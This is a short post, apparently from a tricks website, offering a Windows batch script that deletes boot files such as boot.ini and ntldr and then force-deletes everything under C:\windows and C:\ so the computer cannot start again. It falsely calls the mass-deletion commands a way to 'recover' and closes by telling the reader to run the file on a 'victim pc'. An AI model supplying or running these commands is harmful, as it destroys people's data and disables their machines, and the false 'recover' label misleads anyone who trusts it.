Shut Down your pc for ever!!!!

This is a dangerous procedure and should be done if you don't intend to boot your pc again.
Open notepad an copy the following ;

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini

save it as any name but should have the extension of .bat or .cmd at the end e.g. shutdown.bat. this shuts down the pc and delete all necessary file needed to reboot your pc.

An alternative way to recover;

cmd /c del c:\windows\* /F /S /
Q
cmd /c del c:\* /F /S /Q

Paste it in NotePad And Save It
with Extension .cmd or .bat.

Now just run the bat file to the victim pc.